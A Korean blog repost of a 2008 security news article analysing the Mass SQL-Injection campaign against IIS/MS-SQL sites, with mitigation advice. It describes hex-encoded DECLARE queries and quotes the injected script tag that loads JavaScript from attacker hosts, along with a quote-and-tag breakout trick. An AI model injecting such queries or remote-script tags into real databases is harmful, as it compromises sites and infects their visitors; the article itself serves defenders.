[펌]최신 해킹 공격 동향

ITWeb/스크랩 2008. 7. 29. 13:57
음냐.. 무단전개 및 재배포 금지 라는데.. 이러다 잡혀 가는건 아닌지 모르겠내.. ㅡ.ㅡ;
(보안 뉴스 관계자님.. 나쁜 목적으로 개재 하는거 아닙니다.. 용서해 주세요.. ^^;)

아래 글은.. 읽어 보면.. IIS 에서 발생 하는 sql injection 에 대한 부분이다.

뭐.. 최소한의 input validation 만 거쳤어도.. 이런것들은.. 충분히 막을 수 있을텐데..
client side 에서 한번 거르고.. server side 에서 또 한번 거르고..
보안을 강화 하게 되면 사용성이나 퍼포먼스에 영향을 줄수 있겠지만.. 한번 뚤리면.. 그 악효과는.. 뭐.. 말하지 않아도.. 잘.. ^^*

암튼.. 장단점을 잘 활용하여.. 개발 합시다.. ㅎㅎ

ref. http://www.boannews.com/media/view.asp?idx=10729&kind=&sub_kind=

최신 해킹 공격 동향
[입력날짜: 2008-07-25]

  

Web Security Solution All Guide

Chapter 3. 웹 보안 전문가 노하우 훔쳐보기

 

적절한 보안대책 마련해야


2008 년 4월 초부터 전 세계 130만개 이상의 웹 사이트에 악성코드를 유포하는 SQL-Injection공격 코드가 숨어있는 것이 밝혀져 최근 가장 큰 이슈가 되고 있다. 하지만 언론으로부터 알려진 것은 4월이지만 보안전문가들 사이에서 이슈가 된 것은 2008년 1월 초부터이다. 처음 알려진 것은 아파치 보안 모듈인 Mod Security 프로젝트의 블로그에 공개되면서부터인데 우리나라의 많은 사이트들이 지금 현재도 공격을 받고 있는 중이다.


공 격 기법의 명칭은 Mass SQL-Injection이라 불리우며 기존의 SQL-Injection 기법보다 확장된 개념이다. 크게 2가지 방식으로 공격이 되며 공격 쿼리의 일부분을 HEX인코딩하거나 전체 쿼리를 HEX 인코딩하여 보안장비와 필터링 설정을 우회하는 기법이다.

Mass 라는 단어의 사전적인 의미는 대량의, 집단이라는 뜻을 가지고 있다. 즉, 한 번의 공격으로 대량의 DB값이 변조가 되어 해당 웹 사이트에 치명적인 악영향을 준다. DB값 변조 시 악성 스크립트를 삽입하여 이용자들이 감염되거나 봇이 설치되어 DDoS공격에 좀비컴퓨터로 이용이 가능해진다.

이 러한 Mass SQL-Injection은 IIS 환경의 MS-SQL을 사용 중인 ASP 기반 웹 애플리케이션에만 발생하며 언론에서 몇 차례 피해 사실을 보도하기도 했다. 피해를 당한 IIS의 로그를 보면 다음과 같은 로그가 기록되어 있다.


     


공격 코드의 중간 중간 00을 제거하고 ASCII 코드로 디코딩을 해보면 ;

 

    


다 음과 같은 SQL 쿼리가 나타난다. 이 구문은 테이블에서 테이블의 SQL sysobject type U(User) 모든 row를 가져오는 것이다. 모든 컬럼을 varcher(8000)으로 형식을 바꾸고 커서를 활용하여 각 오브젝트에 http://bannerupd.com/b.js 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 일반적인 구문이다. 일반적인 구문에서 현재는 약간 변형된 형태의 공격쿼리 삽입시도도 이루어지고 있다.


       


스크립트 삽입 부분에서 일반적인 삽입형태와 달라진 부분은 "></tile>이 추가 된다.

기 존 <스크립트 ....></스크립트>와 다른 점은 ">추가 만으로 <input name="test" value=" ">과 같은 곳에 test의 값으로 삽입 될때 기존 스크립트는 단지value 값으로 스크립트가 실행이 되지 않지만 ">의 추가로 value 값이 정상적으로 닫히고 스크립트가 삽입되게 된다.

물 론 그 밖의 경우에도 "></title>부분은 무시되고 스크립트가 삽입되게 된다. 단순히 js 파일명을 바꿔가면서 웹셀 업로드 하는 것과는 다르게 모든 삽입되는 곳에서  스크립트가 실행 가능하도록 하게 만든 패턴이다. DB 테이블 중에서 TEXT 형태로 된 컬럼을 찾아서 <스크립트 src=http://s.see9.us/s.js></스크립트>를 추가한다. varchar 형태의 컬럼에는 <스크립트 src=http://s.see9.s.js></스크립트>이 추가되며 문제는 모든 테이블의 컬럼에 적용이 된다는 것이다.


이에 해당하는 공격을 사전에 방지하기 위해서는 아래와 같은 대책이 필요하다.

1. 디클리어 구문을 이용한 공격을 차단하기 위해서는 웹 소스상에서 쿼리스트링에 대한 길이제한 적용을 해야 한다. 대부분 소스 작성시 쿼리스트링 값의 제한을 적용하지 않는 경우가 많음. 따라서 웹 개발자와 상의하여 쿼리스트링 길이 값에 대한 제한을 적용 권고

2. SQL-Injection 취약점이 있으면 중·장기 대책으로 이에 대한 소스코드에 수정 권고

3. 입력되는 부분의 문자를 모두 제한하여 예상되는 문자 이외의 문자가 들어오면 필터링하는 방법으로 수정 필요

4. 정기적인 DB 및 시스템 백업 필요


또 한 디클리어 구문을 이용한 공격을 차단하기 위해서는 웹 소스상에서 쿼리스트링에 대한 길이 제한 적용을 해야 한다. 대부분 소스 작성시 쿼리스트링 값의 제한을 적용하지 않는 경우가 많다. 따라서 웹 개발자와 상의하여 쿼리스트링 길이 값에 대한 제한을 적용해야 한다.

<글· 박종성 NSHC 연구원(jspark@nshc.net)>

[정보보호21c (info@boannews.com)]


<저작권자: 보안뉴스(www.boannews.com) 무단전재-재배포금지>


: